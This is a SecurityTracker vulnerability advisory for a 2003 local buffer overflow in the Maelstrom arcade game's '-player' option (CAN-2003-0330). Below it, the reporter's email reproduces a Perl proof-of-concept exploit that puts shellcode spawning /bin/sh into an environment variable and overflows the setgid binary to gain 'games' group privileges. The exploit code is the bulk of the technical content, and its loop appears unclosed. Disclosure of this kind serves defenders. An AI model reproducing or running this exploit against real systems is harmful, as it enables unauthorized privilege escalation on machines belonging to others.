Maelstrom Game '-player' Command Buffer Overflow Lets Local Users Gain Elevated Privileges
|
|
SecurityTracker Alert ID: 1008832
|
|
CVE Reference: CAN-2003-0330
(Links to External Site)
|
Date: Jan 23 2004
|
Impact: Execution of arbitrary code via local system, User access via local system
|
Exploit Included: Yes
|
Description: A buffer overflow vulnerability was reported in the Maelstrom arcade game. A local user can obtain elevated privileges.
In May 2003, it was reported that a local user can specify a specially crafted value for the '-player' command line option to trigger
the overflow and execute arbitrary code.
It is reported that maelstrom is configured with set group id (setgid) 'games' group
privileges, so the code will run with games group privileges.
A demonstration exploit is provided in the Source Message.
|
Impact: A local user may be able to execute arbitrary code with 'games' group privileges.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: www.devolution.com/~slouken/Maelstrom/ (Links to External Site)
|
Cause: Boundary error
|
Underlying OS: Linux (Any), UNIX (Any)
|
Reported By: "akcess ." <akcss@linuxmail.org>
|
Message History:
None.
|
Source Message Contents
|
Date: 20 May 2003 15:15:43 -0000
From: "akcess ." <akcss@linuxmail.org>
Subject: Maelstrom Local Buffer Overflow Exploit; CVE: CAN-2003-0330
|
Local exploit for /usr/bin/Maelstrom due to insufficient bounds checking of the -player
cmd line arg.
See attached proof-of-concept exploit.
-akcess
--
______________________________________________
http://www.linuxmail.org/
Now with e-mail forwarding for only US$5.95/yr
Powered by Outblaze
["maelx.pl" (application/octet-stream)]
#!/usr/bin/perl -w
# /usr/bin/Maelstrom -player Local Buffer Overflow Exploit by akcess
# This code exploits the -player overflow which i discovered after
# reading the initial advisory detailing the -server overflow by
# Luca Ercoli
# [ akcess@linuxmail.org ] - *21/05/03*
$sc = "\x90"x1500; # write stdout "akcess wuz here..."; execve /bin/sh; exit;
$sc .= "\x31\xc0\x31\xdb\x31\xd2\x53\x68\x2e\x2e\x20\x0a\x68\x65\x72\x65";
$sc .= "\x2e\x68\x75\x7a\x20\x68\x68\x73\x73\x20\x77\x68\x61\x6b\x63\x65";
$sc .= "\x89\xe1\xb2\x18\xb0\x04\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68";
$sc .= "\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24";
$sc .= "\xb0\x0b\xcd\x80";
$ENV{'SC'} = $sc;
$offset = "0";
$ret = 0xbffff9ee;
for ($i = 0; $i < (8177 - 4); $i++) {
$buf .= "\x90";
$buf .= pack('l', ($ret + $offset));
print("Using return address: 0x", sprintf('%lx',($ret + $offset)),"\n");
exec("/usr/bin/Maelstrom -player 1\@'$buf'");
|
|